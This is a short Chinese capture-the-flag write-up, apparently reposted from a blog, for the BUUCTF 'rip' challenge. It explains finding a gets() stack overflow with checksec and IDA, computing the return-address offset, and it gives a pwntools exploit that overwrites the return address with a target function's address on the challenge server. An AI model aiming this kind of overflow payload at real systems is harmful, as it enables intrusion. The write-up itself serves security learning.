2.[BUU]rip

2023-12-19 23:44:09

1.检查文件--》checksec 一下

?

查看之后发现是64位,直接放入IDA64进行反编译。

2.IDA反编译,进行分析

发现是gets()函数可以造成栈溢出,从而可以覆盖栈上的内容。

想法:通过gets函数(栈溢出)来篡改栈上的内容指令,从而达到控制指令,输出我们想要得到的内容(flag)。

大概思路:gets给s写入数据(一般是垃圾数据)一直到ebp并且覆盖ebp,然后将自己想要控制的指令输入,就可以获得控制权。

如何实现?

第一步:查看gets()参数离ebp的距离

跳转,查看参数的大小(离ebp的距离)

所以总的大小为0xF+0x8

第二步:将控制指令覆盖return的位置

在IDA中查看内容的时候,可以使用 shift+F12?进行全部内容的查看。

找到目标指令对应的函数的地址,我们将其覆盖return的地址就会调用其函数。

3.EXP

from pwn  import *
io=remote("node4.buuoj.cn",29844)

fun_addr=0x401186

payload =b'a'*(0x8+0xF)
payload+= p64(fun_addr+1)

io.sendline(payload)
io.interactive()

在靶机中,64位程序会进行栈平衡操作,所以要在覆盖return的代码+1.

作为新手时,不要求理解太多,有些东西先记着,等接触更多的方面才能理解。最基本的东西往往是最难得。

文章来源:https://blog.csdn.net/2203_75523573/article/details/135082265
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。